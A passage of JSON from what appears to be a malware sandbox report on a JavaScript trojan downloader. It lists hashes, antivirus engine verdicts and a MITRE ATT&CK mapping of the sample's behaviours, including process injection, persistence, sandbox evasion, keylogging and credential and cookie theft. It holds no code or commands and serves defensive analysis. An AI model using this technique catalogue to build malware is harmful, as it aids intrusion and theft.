"6144:WN8vRbP","6144:N8vRbPo","6144:8vRbPoE","6144:vRbPoE7","6144:RbPoE74","6144:bPoE74V","6144:PoE74VP","6144:oE74VPr","6144:E74VPrP","6144:74VPrPz","6144:4VPrPzI","6144:VPrPzIL","6144:PrPzILB","6144:rPzILBZ","6144:PzILBZi","6144:zILBZiT","6144:ILBZiTf","6144:LBZiTfs","6144:BZiTfsC","6144:ZiTfsCZ","6144:iTfsCZl","6144:TfsCZlM","6144:fsCZlMu","6144:sCZlMu+","6144:CZlMu+l","6144:ZlMu+l5","3072:oJVL/ui","3072:JVL/ui3","3072:VL/ui3m","3072:L/ui3m9","3072:/ui3m9X","3072:ui3m9Xs","3072:i3m9Xsp","3072:3m9Xspo","3072:m9XspoE","3072:9XspoE7","3072:XspoE7k","3072:spoE7kr","3072:poE7krP","3072:oE7krPz","3072:E7krPzI","3072:7krPzI4","3072:krPzI4c"],"imphash":"Unknown"},"file_info":{"file_name":"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin","file_type":["script","javascript"],"file_type_id":"js","file_size":368814,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1779353908000,"last_seen":1779353914000,"last_multi_scan":1779353914000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["malicious"]},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":90},"sandbox_signatures":{"informative_count":208,"suspicious_count":24,"malicious_count":6,"total":238},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"HEUR_TrojanDownloader_Script_Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"SVM:TrojanDownloader/JS.MalBehav.gen!D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"HEUR_TrojanDownloader_Script_Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"suspicious","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"Executes a JavaScript file"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Tries to save executable or command in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"Installer Packages","attack_id":"T1546.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/016","identifiers":[{"type":"informative","value":"Attempts to launch the Installer package binary"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Able to manipulate a file/directory time format"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains a Wine emulator-related string"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"},{"type":"informative","value":"Process deletes itself"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"malicious","value":"Found a system process name at an unusual pathway"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"suspicious","value":"Calls an API typically used for keylogging"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Cloud Service Dashboard","attack_id":"T1538","attack_id_wiki":"https://attack.mitre.org/techniques/T1538","identifiers":[{"type":"informative","value":"Able to retrieve cloud service dashboard"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns many 